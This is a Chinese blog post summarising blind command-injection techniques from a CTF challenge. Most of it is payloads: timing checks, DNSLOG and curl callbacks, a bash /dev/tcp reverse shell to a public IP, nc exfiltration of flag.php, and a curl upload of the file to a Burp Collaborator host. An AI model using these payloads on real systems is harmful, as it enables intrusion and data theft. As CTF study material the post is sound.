命令执行没有回显利用

来自:i春秋的一道命令执行题(EXEC)
自己之前没有遇到过,根据师傅们发的博客,自己进行了总结。

1.判断命令执行有没有回显

方法1.
根据代码逻辑

方法2.
根据延时cmd=ls|sleep 5

方法3.
HTTP请求(ping命令不会产生http请求)
自己公网服务器使用nc -lp 8888来开起监听
目标服务器cmd=curl ip:8888

方法4.
DNS请求(dnslog)

2.如何利用

方法1.
使用cp 命令cp flag.php 1.txt
然后访问(该方法简单,但是可能禁止使用cp命令)

方法2.
DNSLOG获取回显
cmd=curl `命令`.域名

方法3.
反弹shell
自己公网服务器nc -vv -lp 8888
目标服务器:cmd=bash+-i+>&+/dev/tcp/47.95.206.199/8888+0>&1

方法4.
使用nc
自己公网服务器nc -ulp 8888
目标服务器:cmd=nc -u 47.94.35.59 8888 < flag.php
(要求目标服务器也有nc工具,-u参数调整为udp,当tcp不能使用的时候使用)

方法5.
curl上传文件读取源码
该方法只需要有burpsuite就可以实现

原理:使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)。

获取Collaborator Client分配给BURP的链接:
Copy打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard

粘贴出来大概这样:XXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net

目标服务器:cmd=curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

这里我使用exec的题来演示。

参考
https://blog.csdn.net/anquanniu/article/details/102641702?utm_source=app
http://www.admintony.com/无回显代码执行利用方法.html

posted @ 2020-07-27 15:31  Firebasky  阅读(3034)  评论(0编辑  收藏  举报